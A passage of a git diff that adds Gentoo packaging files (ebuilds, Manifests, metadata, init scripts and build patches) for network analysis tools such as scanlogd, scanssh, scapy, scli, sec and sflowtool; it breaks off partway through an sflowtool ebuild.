+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ use logger
+}
+
+start() {
+ ebegin "Starting scanlogd"
+ start-stop-daemon --start --quiet --exec /usr/sbin/scanlogd
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping scanlogd"
+ start-stop-daemon --stop --quiet --exec /usr/sbin/scanlogd
+ eend $?
+}
diff --git a/net-analyzer/scanlogd/metadata.xml b/net-analyzer/scanlogd/metadata.xml
new file mode 100644
index 000000000000..f0cc2f6cce94
--- /dev/null
+++ b/net-analyzer/scanlogd/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name='nids'>Use <pkg>net-libs/libnids</pkg> for packet capturing</flag>
+<flag name='pcap'>Use <pkg>net-libs/libpcap</pkg> for packet capturing</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/scanlogd/scanlogd-2.2.7.ebuild b/net-analyzer/scanlogd/scanlogd-2.2.7.ebuild
new file mode 100644
index 000000000000..db871d3d03b3
--- /dev/null
+++ b/net-analyzer/scanlogd/scanlogd-2.2.7.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils savedconfig toolchain-funcs user
+
+DESCRIPTION="a port scan detection tool"
+SRC_URI="http://www.openwall.com/scanlogd/${P}.tar.gz"
+HOMEPAGE="http://www.openwall.com/scanlogd/"
+
+LICENSE="scanlogd GPL-2" # GPL-2 for initscript
+SLOT="0"
+KEYWORDS="~amd64 ppc x86"
+IUSE="+nids pcap"
+REQUIRED_USE="?? ( nids pcap )"
+
+DEPEND="
+ nids? ( net-libs/libnids )
+ pcap? ( net-libs/libpcap )
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ restore_config params.h
+ tc-export CC
+}
+
+src_compile() {
+ local target=linux
+ use nids && target=libnids
+ use pcap && target=libpcap
+ emake ${target}
+}
+
+src_install() {
+ dosbin scanlogd
+ doman scanlogd.8
+ newinitd "${FILESDIR}"/scanlogd.rc scanlogd
+ save_config params.h
+}
+
+pkg_preinst() {
+ enewgroup scanlogd
+ enewuser scanlogd -1 -1 /dev/null scanlogd
+}
diff --git a/net-analyzer/scanssh/Manifest b/net-analyzer/scanssh/Manifest
new file mode 100644
index 000000000000..9dc819125a12
--- /dev/null
+++ b/net-analyzer/scanssh/Manifest
@@ -0,0 +1 @@
+DIST scanssh-2.1.tar.gz 111481 SHA256 057eec87edafbbe5bc22960cbac53e3ada0222400d649a5e2f22cc8981f5b035 SHA512 1ddff6f8e51735bab28032c8d7cbb641ff0cd19a404a27ab489589ef1e30e3721dd486854eb4fef15368cc53f10c9c2650ffaf7fa7f767dc2202fcc5540ae59c WHIRLPOOL 5b14b341d44a5f57e3263f35d063084f116feb315a4b1e92cf7a69d752266accab64c17cf713bf7bc5074e14f4a895f3b6bae0d30c6bc1e7d24436eebd8eeafa
diff --git a/net-analyzer/scanssh/files/scanssh-2.0-fix-warnings.diff b/net-analyzer/scanssh/files/scanssh-2.0-fix-warnings.diff
new file mode 100644
index 000000000000..0ced6821efa9
--- /dev/null
+++ b/net-analyzer/scanssh/files/scanssh-2.0-fix-warnings.diff
@@ -0,0 +1,61 @@
+--- a/arc4random.c
++++ b/arc4random.c
+@@ -1,5 +1,6 @@
+ #include <sys/types.h>
+ #include <stdlib.h>
++#include <time.h>
+
+ #include "config.h"
+
+--- a/interface.c
++++ b/interface.c
+@@ -56,6 +56,13 @@
+
+ #include "interface.h"
+
++#ifndef HAVE_STRLCPY
++ size_t strlcpy(char *, const char *, size_t);
++#endif
++#ifndef HAVE_STRLCAT
++ size_t strlcat(char *, const char *, size_t);
++#endif
++
+ /* Prototypes */
+ static int pcap_dloff(pcap_t *);
+
+--- a/md5.c
++++ b/md5.c
+@@ -23,6 +23,7 @@
+ copyright in any changes I have made; this code remains in the
+ public domain. */
+
++#include <string.h>
+ #include <sys/types.h>
+
+ #ifdef HAVE_CONFIG_H
+--- a/scanssh.c
++++ b/scanssh.c
+@@ -78,6 +78,10 @@
+ #define DNFPRINTF(y, x)
+ #endif
+
++#ifndef HAVE_STRLCPY
++ size_t strlcpy(char *, const char *, size_t);
++#endif
++
+ struct address_node {
+ TAILQ_ENTRY (address_node) an_next;
+
+--- a/xmalloc.c
++++ b/xmalloc.c
+@@ -20,6 +20,10 @@
+
+ #include "config.h"
+
++#ifndef HAVE_STRLCPY
++ size_t strlcpy(char *, const char *, size_t);
++#endif
++
+ void *
+ xmalloc(size_t size)
+ {
diff --git a/net-analyzer/scanssh/metadata.xml b/net-analyzer/scanssh/metadata.xml
new file mode 100644
index 000000000000..4a05ae080d13
--- /dev/null
+++ b/net-analyzer/scanssh/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>Scanssh protocol scanner - scans a list of addresses an networks for running SSH protocol servers and their version numbers.</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/scanssh/scanssh-2.1.ebuild b/net-analyzer/scanssh/scanssh-2.1.ebuild
new file mode 100644
index 000000000000..09086e75c906
--- /dev/null
+++ b/net-analyzer/scanssh/scanssh-2.1.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="network scanner that gathers info on SSH protocols and versions"
+HOMEPAGE="http://monkey.org/~provos/scanssh/"
+SRC_URI="http://monkey.org/~provos/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 hppa ppc ~ppc64 sparc x86"
+
+DEPEND="
+ dev-libs/libdnet
+ dev-libs/libevent
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-2.0-fix-warnings.diff
+ touch configure
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS}"
+}
+
+src_install() {
+ dobin scanssh
+ doman scanssh.1
+}
diff --git a/net-analyzer/scapy/Manifest b/net-analyzer/scapy/Manifest
new file mode 100644
index 000000000000..4a7482381324
--- /dev/null
+++ b/net-analyzer/scapy/Manifest
@@ -0,0 +1,3 @@
+DIST scapy-2.2.0.tar.gz 972996 SHA256 c5363b224df0efbd78d7dc4d8a518e5518b2e7affc2e5f1fcecd4efa3ab815af SHA512 da05deb5dd3bfbd0222659a98e5f01c891e948b9104965e14ca975022b180cd7699ec852357baf229c73321dbe73d9a48c2a14008b7d7a3f0e151914536f7d3a WHIRLPOOL d1d599e1cb803148e5131b4f9c2b90f80c37abf09678abbbc6a2df8d10fe8a98c8d3628e232217075d23605f8e5caee23916e13c5c80cf9a9323f44d99536fe4
+DIST scapy-2.3.0.zip 1154396 SHA256 1e63e845ff7a86d4915122945cad2a3b5c60b6914b23713bcbdbab7b24fd47c8 SHA512 30f8e09411fd23972e68b72ffc168d427018cc9e065534094397d1ced17db3fc66dfa6c50b0b57b1f1309eb411c1c6969b42e0130480922b2cd789c82df311ed WHIRLPOOL 5229c16971fa9add90615955fe5633269d88ff0b6f889d070f9b0e80c036c4010512e071720aced465ca0fb54900f6dd26d663695d55dd4eff0f01e2a6b019d9
+DIST scapy-2.3.1.zip 1134864 SHA256 8972c02e39a826a10c02c2bdd5025f7251dce9589c57befd9bb55c65f02e4934 SHA512 f84c9084c56894d15629680c3a3075e1dd5318ad8b3eb2e9d21266f49ee51b7d0748abf9e7a926d7228a87b3ecafa8dc78491dc8f5ac35f8eca1cc7c5581344d WHIRLPOOL f30a668b0f41f3655c6ee735e40ce36cb7ab3c2deedcc655ff56b5ad66e2d0b78c812f9ca0515870bfedc7f3355553acc4a9a1354a1c156ac81ce87d7b6b26aa
diff --git a/net-analyzer/scapy/files/scapy-2.2.0-fix-sendpfast.patch b/net-analyzer/scapy/files/scapy-2.2.0-fix-sendpfast.patch
new file mode 100644
index 000000000000..e10f97353d71
--- /dev/null
+++ b/net-analyzer/scapy/files/scapy-2.2.0-fix-sendpfast.patch
@@ -0,0 +1,12 @@
+diff -ru a/scapy-2.2.0/scapy/sendrecv.py b/scapy-2.2.0/scapy/sendrecv.py
+--- a/scapy-2.2.0/scapy/sendrecv.py 2010-08-11 11:09:51.000000000 +1200
++++ b/scapy-2.2.0/scapy/sendrecv.py 2011-09-20 11:22:26.776978191 +1200
+@@ -13,7 +13,7 @@
+ import arch
+ from config import conf
+ from packet import Gen
+-from utils import warning,get_temp_file,PcapReader
++from utils import warning,get_temp_file,PcapReader,wrpcap
+ import plist
+ from error import log_runtime,log_interactive
+ from base_classes import SetGen
diff --git a/net-analyzer/scapy/metadata.xml b/net-analyzer/scapy/metadata.xml
new file mode 100644
index 000000000000..080dce9db3a8
--- /dev/null
+++ b/net-analyzer/scapy/metadata.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<maintainer>
+<email>ikelos@gentoo.org</email>
+<name>Mike Auty</name>
+</maintainer>
+<longdescription lang="en">
+Scapy is a powerful interactive packet manipulation program.
+</longdescription>
+<use>
+<flag name='pyx'>Enable <pkg>dev-python/pyx</pkg> support for psdump/pdfdump commands</flag>
+<flag name='visual'>Enable <pkg>dev-python/visual</pkg> support for 3d graphs</flag>
+<flag name='tcpreplay'>Enable <pkg>net-analyzer/tcpreply</pkg> support for fast packet replay</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/scapy/scapy-2.2.0-r2.ebuild b/net-analyzer/scapy/scapy-2.2.0-r2.ebuild
new file mode 100644
index 000000000000..36156a63cfc0
--- /dev/null
+++ b/net-analyzer/scapy/scapy-2.2.0-r2.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+PYTHON_COMPAT=( python2_7 )
+DISTUTILS_SINGLE_IMPL=true
+
+inherit eutils distutils-r1
+
+DESCRIPTION="A Python interactive packet manipulation program for mastering the network"
+HOMEPAGE="http://www.secdev.org/projects/scapy/"
+SRC_URI="http://www.secdev.org/projects/scapy/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="gnuplot pyx crypt graphviz imagemagick visual tcpreplay"
+
+RDEPEND="
+ net-analyzer/tcpdump
+ gnuplot? ( dev-python/gnuplot-py[${PYTHON_USEDEP}] )
+ pyx? ( dev-python/pyx[${PYTHON_USEDEP}] )
+ crypt? ( dev-python/pycrypto[${PYTHON_USEDEP}] )
+ graphviz? ( media-gfx/graphviz )
+ imagemagick? (
+ || (
+ media-gfx/imagemagick
+ media-gfx/graphicsmagick[imagemagick]
+ )
+ )
+ visual? ( dev-python/visual )
+ tcpreplay? ( net-analyzer/tcpreplay )
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-fix-sendpfast.patch
+}
diff --git a/net-analyzer/scapy/scapy-2.3.0.ebuild b/net-analyzer/scapy/scapy-2.3.0.ebuild
new file mode 100644
index 000000000000..8230665fdc71
--- /dev/null
+++ b/net-analyzer/scapy/scapy-2.3.0.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+PYTHON_COMPAT=( python2_7 )
+DISTUTILS_SINGLE_IMPL=true
+
+inherit eutils distutils-r1
+
+DESCRIPTION="A Python interactive packet manipulation program for mastering the network"
+HOMEPAGE="http://www.secdev.org/projects/scapy/"
+SRC_URI="http://bb.secdev.org/${PN}/downloads/${P}.zip"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="gnuplot pyx crypt graphviz imagemagick visual tcpreplay"
+
+RDEPEND="
+ net-analyzer/tcpdump
+ gnuplot? ( dev-python/gnuplot-py[${PYTHON_USEDEP}] )
+ pyx? ( dev-python/pyx[${PYTHON_USEDEP}] )
+ crypt? ( dev-python/pycrypto[${PYTHON_USEDEP}] )
+ graphviz? ( media-gfx/graphviz )
+ imagemagick? (
+ || (
+ media-gfx/imagemagick
+ media-gfx/graphicsmagick[imagemagick]
+ )
+ )
+ visual? ( dev-python/visual )
+ tcpreplay? ( net-analyzer/tcpreplay )
+"
diff --git a/net-analyzer/scapy/scapy-2.3.1.ebuild b/net-analyzer/scapy/scapy-2.3.1.ebuild
new file mode 100644
index 000000000000..8230665fdc71
--- /dev/null
+++ b/net-analyzer/scapy/scapy-2.3.1.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+PYTHON_COMPAT=( python2_7 )
+DISTUTILS_SINGLE_IMPL=true
+
+inherit eutils distutils-r1
+
+DESCRIPTION="A Python interactive packet manipulation program for mastering the network"
+HOMEPAGE="http://www.secdev.org/projects/scapy/"
+SRC_URI="http://bb.secdev.org/${PN}/downloads/${P}.zip"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="gnuplot pyx crypt graphviz imagemagick visual tcpreplay"
+
+RDEPEND="
+ net-analyzer/tcpdump
+ gnuplot? ( dev-python/gnuplot-py[${PYTHON_USEDEP}] )
+ pyx? ( dev-python/pyx[${PYTHON_USEDEP}] )
+ crypt? ( dev-python/pycrypto[${PYTHON_USEDEP}] )
+ graphviz? ( media-gfx/graphviz )
+ imagemagick? (
+ || (
+ media-gfx/imagemagick
+ media-gfx/graphicsmagick[imagemagick]
+ )
+ )
+ visual? ( dev-python/visual )
+ tcpreplay? ( net-analyzer/tcpreplay )
+"
diff --git a/net-analyzer/scli/Manifest b/net-analyzer/scli/Manifest
new file mode 100644
index 000000000000..7bc68a6e821c
--- /dev/null
+++ b/net-analyzer/scli/Manifest
@@ -0,0 +1 @@
+DIST scli-0.4.0.tar.gz 953401 SHA256 308511589260d3da9bc5817ace363180070ac83ccba9231b7b9a01e1b0c29fe1 SHA512 ceb81e51049def64cb6f2428263709802380f7f712575e327a71d8cc120d284a7d9c57679d76e22cfcaf5b160d0d46af0cefa1133c56972b43002cb94f120dcc WHIRLPOOL 29f72af56e1a934a30b147858cd3e7e5acd638546b46b275693b0241bb0006edb1e66fa8af5a7074d23125c02780f129d1c7df6356da45fce3c083a390886aeb
diff --git a/net-analyzer/scli/files/scli-0.4.0-configure.patch b/net-analyzer/scli/files/scli-0.4.0-configure.patch
new file mode 100644
index 000000000000..d942da0adcc5
--- /dev/null
+++ b/net-analyzer/scli/files/scli-0.4.0-configure.patch
@@ -0,0 +1,44 @@
+--- a/configure.in
++++ b/configure.in
+@@ -20,6 +20,8 @@
+ AC_CHECK_PROG(SMIDUMP, smidump, smidump)
+ AC_SUBST(SMIDUMP)
+
++PKG_PROG_PKG_CONFIG
++
+ AC_DEFINE_UNQUOTED(SCLI_PLUGIN_PATH, "${pkglibdir}")
+
+ AC_MSG_CHECKING([whether to enable -Wall])
+@@ -33,19 +35,24 @@
+
+ dnl Checks for libraries.
+
+-AM_PATH_GLIB_2_0(2.0.0, [], AC_MSG_ERROR(scli needs GLIB), gmodule)
+-AM_PATH_GNET_2_0(2.0.0, [], AC_MSG_ERROR(scli needs GNET))
++PKG_CHECK_MODULES(GLIB, glib-2.0 gmodule-2.0 gthread-2.0,[
++ LIBS="$LIBS $GLIB_LIBS"
++ CPPFLAGS="$CPPFLAGS $GLIB_CFLAGS"
++ ], AC_MSG_ERROR(scli needs GLIB))
++PKG_CHECK_MODULES(GNET, gnet-2.0 >= 2.0.0,[
++ LIBS="$LIBS $GNET_LIBS"
++ CPPFLAGS="$CPPFLAGS $GNET_CFLAGS"
++ ], AC_MSG_ERROR(scli needs GNET))
+ dnl AM_PATH_GLIB(1.2.0, [], AC_MSG_ERROR(scli needs GLIB), gmodule)
+ dnl AM_PATH_GTK(1.2.0, [], AC_MSG_ERROR(scli needs GTK))
+-AM_PATH_XML2(2.0.0, [], AC_MSG_ERROR(scli needs libxml2))
++PKG_CHECK_MODULES(XML2, libxml-2.0 >= 2.0.0,[
++ LIBS="$LIBS $XML2_LIBS"
++ CPPFLAGS="$CPPFLAGS $XML2_CFLAGS"
++ ], AC_MSG_ERROR(scli needs libxml2))
+ PKG_CHECK_MODULES(GSNMP, gsnmp, have_gsnmp=true, have_gsnmp=false)
+ AC_SUBST(GSNMP_CFLAGS)
+ AC_SUBST(GSNMP_LIBS)
+-AC_CHECK_LIB(ncurses, initscr, [],
+- AC_CHECK_LIB(curses, initscr, [],
+- AC_MSG_ERROR([scli requires curses functions; install curses first])
+- )
+-)
++PKG_CHECK_MODULES(ncurses,ncurses,LIBS="$LIBS $ncurses_LIBS",AC_MSG_ERROR([ncurses is required]))
+ AC_CHECK_LIB(readline, readline, [],
+ AC_MSG_ERROR([scli requires readline functions; install libreadline first])
+ )
diff --git a/net-analyzer/scli/metadata.xml b/net-analyzer/scli/metadata.xml
new file mode 100644
index 000000000000..78692635ad22
--- /dev/null
+++ b/net-analyzer/scli/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/scli/scli-0.4.0-r1.ebuild b/net-analyzer/scli/scli-0.4.0-r1.ebuild
new file mode 100644
index 000000000000..292f4e282218
--- /dev/null
+++ b/net-analyzer/scli/scli-0.4.0-r1.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="SNMP Command Line Interface"
+HOMEPAGE="http://cnds.eecs.jacobs-university.de/users/schoenw/articles/software/index.html"
+SRC_URI="ftp://ftp.ibr.cs.tu-bs.de/pub/local/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86 ~amd64-linux"
+
+RDEPEND="
+ dev-libs/glib:2
+ dev-libs/libxml2
+ net-libs/gnet
+ net-libs/gsnmp
+ sys-libs/ncurses
+ sys-libs/readline
+ sys-libs/zlib
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+DOCS=( AUTHORS ChangeLog NEWS PORTING README TODO )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-configure.patch
+
+ eautoreconf
+}
diff --git a/net-analyzer/sec/Manifest b/net-analyzer/sec/Manifest
new file mode 100644
index 000000000000..ad05b2f26549
--- /dev/null
+++ b/net-analyzer/sec/Manifest
@@ -0,0 +1,2 @@
+DIST sec-2.7.6.tar.gz 121621 SHA256 3714ce9dc9c769cefc63811703905d62f45868618842d186ad6bdc522cd53ad3 SHA512 9c050b89970663784f5c149d46c6c6ab941590ef4300ca09ea35b347b2eaa3bad12083bd6e619f25d5024a35de69e020c354b507ac49e3faef1013336ea2d5f5 WHIRLPOOL 669519ee90eeefdcbf0052f83738db64c865e280d57ed4ce7a10c87ff79f71d0f2289b17ce3b014c2555937d701c893bd85e57a5450f67d43e1203c9e8220901
+DIST sec-2.7.7.tar.gz 126493 SHA256 a98ad006bd3b2b10c9d428cbabf364013ebd44b98e3d546b64dc12f11cb2d684 SHA512 18f960c19babb8068a46b9477f780e457c6b7b17bff0b16d8a7ca6df72d7fc849fadd04743ba3d3e1e5bef18d017c42fc2ef6f12a10ba90a0f2800183639286d WHIRLPOOL f19fe4cbcc9d522c31f76e7d20b0a8f367f69ded4bccd602ff024c30aec65f8e5d1c26cd20783b82f669cb13d81e81dace244dee3b873ca17c093cc263a2dd52
diff --git a/net-analyzer/sec/files/sec.conf.d b/net-analyzer/sec/files/sec.conf.d
new file mode 100644
index 000000000000..a6d8b9c1fddc
--- /dev/null
+++ b/net-analyzer/sec/files/sec.conf.d
@@ -0,0 +1,12 @@
+# configuration file for /etc/init.d/sec
+
+# flags to pass to sec (see 'sec --help')
+SEC_FLAGS=""
+
+# Define a debug level (1..6)
+DEBUG_LEVEL="4"
+
+# define where sec reads messages from for translating them
+#INPUT_FILES="${INPUT_FILES} -input=/var/log/some.log"
+#INPUT_FILES="${INPUT_FILES} -input=/tmp/other.file"
+INPUT_FILES="-input=/var/log/messages"
diff --git a/net-analyzer/sec/files/sec.init.d b/net-analyzer/sec/files/sec.init.d
new file mode 100644
index 000000000000..bc117d035405
--- /dev/null
+++ b/net-analyzer/sec/files/sec.init.d
@@ -0,0 +1,36 @@
+#!/sbin/runscript
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ use logger
+}
+
+checkconfig() {
+ if [ ! -e /etc/sec.conf ] ; then
+ eerror "You need an /etc/sec.conf config file to run sec"
+ return 1
+ fi
+ return 0
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting sec"
+ start-stop-daemon --start --quiet --exec /usr/bin/sec \
+ -- -pid=/run/sec.pid \
+ -detach -log=/var/log/sec.log \
+ -conf=/etc/sec.conf \
+ ${INPUT_FILES} \
+ -debug=${DEBUG_LEVEL} \
+ ${SEC_FLAGS} > /dev/null 2>&1
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping sec"
+ start-stop-daemon --stop --quiet --pidfile /run/sec.pid
+ eend $?
+}
+
diff --git a/net-analyzer/sec/metadata.xml b/net-analyzer/sec/metadata.xml
new file mode 100644
index 000000000000..b32074cc7f89
--- /dev/null
+++ b/net-analyzer/sec/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">simple-evcorr</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/sec/sec-2.7.6-r1.ebuild b/net-analyzer/sec/sec-2.7.6-r1.ebuild
new file mode 100644
index 000000000000..f6fa44b71fdf
--- /dev/null
+++ b/net-analyzer/sec/sec-2.7.6-r1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Simple Event Correlator"
+HOMEPAGE="http://simple-evcorr.sourceforge.net/"
+SRC_URI="mirror://sourceforge/simple-evcorr/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86 ~amd64-linux"
+
+RDEPEND=">=dev-lang/perl-5.8.0"
+
+src_install() {
+ dobin sec
+
+ dodoc ChangeLog README
+ docinto contrib
+ dodoc contrib/{itostream.c,convert.pl,swatch2sec.pl}
+
+ newman sec.man sec.1
+
+ newinitd "${FILESDIR}"/sec.init.d sec
+ newconfd "${FILESDIR}"/sec.conf.d sec
+}
diff --git a/net-analyzer/sec/sec-2.7.7.ebuild b/net-analyzer/sec/sec-2.7.7.ebuild
new file mode 100644
index 000000000000..bb288c794046
--- /dev/null
+++ b/net-analyzer/sec/sec-2.7.7.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Simple Event Correlator"
+HOMEPAGE="http://simple-evcorr.sourceforge.net/"
+SRC_URI="mirror://sourceforge/simple-evcorr/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86 ~amd64-linux"
+
+RDEPEND=">=dev-lang/perl-5.8.0"
+
+src_install() {
+ dobin sec
+
+ dodoc ChangeLog README
+ docinto contrib
+ dodoc contrib/{itostream.c,convert.pl,swatch2sec.pl}
+
+ newman sec.man sec.1
+
+ newinitd "${FILESDIR}"/sec.init.d sec
+ newconfd "${FILESDIR}"/sec.conf.d sec
+}
diff --git a/net-analyzer/sflowtool/Manifest b/net-analyzer/sflowtool/Manifest
new file mode 100644
index 000000000000..bade0a2bfc20
--- /dev/null
+++ b/net-analyzer/sflowtool/Manifest
@@ -0,0 +1,4 @@
+DIST sflowtool-3.32.tar.gz 171316 SHA256 edb40902e76377b12a08a513bf49776e0a70e43c7f541f77de995cc23ccb7343 SHA512 fa7e9e5f4d86c4b877d8ee5952e5f7d8d651550ed2d774c2abf7e8c21a756bb1e72cbd499d9e511316d8fea906c87d65d27850101f00e02aaf1460e8ba219af2 WHIRLPOOL f30c0c96b197ff940500cfc9c45525258c04f1d22739ea6ea5e34837e8cbbe7fa8746d62871d43ef585b10994bd9362d79a22ed68d6063cb4903aca2c1bfcca4
+DIST sflowtool-3.33.tar.gz 171459 SHA256 303112c3cd72a8f96298636677b9175ba4558e553e6f66e92cf3dbc952a68f1a SHA512 c6911e3fc402675e7c13b7aba2253deb09bca2820f9ce774652460bb352cb3e7ddf877d8bdff78a2261e3e9e399bef842d10bd95c2310e08738aeb850279140d WHIRLPOOL 7b16a13e28a544ff34c41a90904efbd119cbc7e01c0a9c946835183628ac0b8907b967767798957a0b9a59d289cce056159ed86540c3bd4b7884722dddc9ddbe
+DIST sflowtool-3.34.tar.gz 171613 SHA256 bd4c5ff3007c49d868df396ddc18c8ad5e1855bbdfdcb9d103df017f3853cd72 SHA512 4fd551fc1e03f68c886bf3effaab466c4470f1e3878ed5b94fd5152e81c076b56a6901df878edc95850522cf70458c6c9c4130c12ff071739b1da4725ae1e777 WHIRLPOOL e41b5d0f2120cbedde980307e6f4268890cf6db0c485e8345ec391045cf89d5fa8db4f00676b5e3cbe1ea69201be3193a12ae8a3a5de6b7db1a383bb1500e0c3
+DIST sflowtool-3.35.tar.gz 173675 SHA256 65ee9880bcc46014e5d8deb46dd52ef760e6ec4e2034796b9681b2da3d74393a SHA512 92a426607df7af7921021ede07011777d77ecf014e3bf02d5abcc6c811659b791340c9a81075bc6c508fc9096deb8dec0f2cbe7e123442540edb138756994fb0 WHIRLPOOL ad70c53b512ffbe12f1c6062022b44b42933869e68bbb838ac33dd6429c8c4c704b814631977ac5e6e96e618bcc47bc932b175f0213cbc747ae370164b255aea
diff --git a/net-analyzer/sflowtool/metadata.xml b/net-analyzer/sflowtool/metadata.xml
new file mode 100644
index 000000000000..43ff75467369
--- /dev/null
+++ b/net-analyzer/sflowtool/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/sflowtool/sflowtool-3.32.ebuild b/net-analyzer/sflowtool/sflowtool-3.32.ebuild
new file mode 100644
index 000000000000..3f714b68a773
--- /dev/null
+++ b/net-analyzer/sflowtool/sflowtool-3.32.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit flag-o-matic
+
+DESCRIPTION="sflowtool is a utility for collecting and processing sFlow data"
+HOMEPAGE="http://www.inmon.com/technology/sflowTools.php"
+SRC_URI="http://www.inmon.com/bin/${P}.tar.gz"
+
+LICENSE="inmon-sflow"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE="debug"
+
+src_prepare() {
+ append-cppflags -DSPOOFSOURCE
+ use debug && append-cppflags -DDEBUG
+}
diff --git a/net-analyzer/sflowtool/sflowtool-3.33.ebuild b/net-analyzer/sflowtool/sflowtool-3.33.ebuild
new file mode 100644
index 000000000000..a409f1e3b0ee
--- /dev/null
+++ b/net-analyzer/sflowtool/sflowtool-3.33.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit flag-o-matic
+
+DESCRIPTION="sflowtool is a utility for collecting and processing sFlow data"
+HOMEPAGE="http://www.inmon.com/technology/sflowTools.php"
+SRC_URI="http://www.inmon.com/bin/${P}.tar.gz"
+
+LICENSE="inmon-sflow"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="debug"
+
+src_prepare() {
+ append-cppflags -DSPOOFSOURCE
+ use debug && append-cppflags -DDEBUG
+}
diff --git a/net-analyzer/sflowtool/sflowtool-3.34.ebuild b/net-analyzer/sflowtool/sflowtool-3.34.ebuild
new file mode 100644
index 000000000000..11b49ae3fae2
--- /dev/null
+++ b/net-analyzer/sflowtool/sflowtool-3.34.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit flag-o-matic
+
+DESCRIPTION="sflowtool is a utility for collecting and processing sFlow data"
+HOMEPAGE="http://www.inmon.com/technology/sflowTools.php"
+SRC_URI="http://www.inmon.com/bin/${P}.tar.gz"
+
+LICENSE="inmon-sflow"
+SLOT="0"
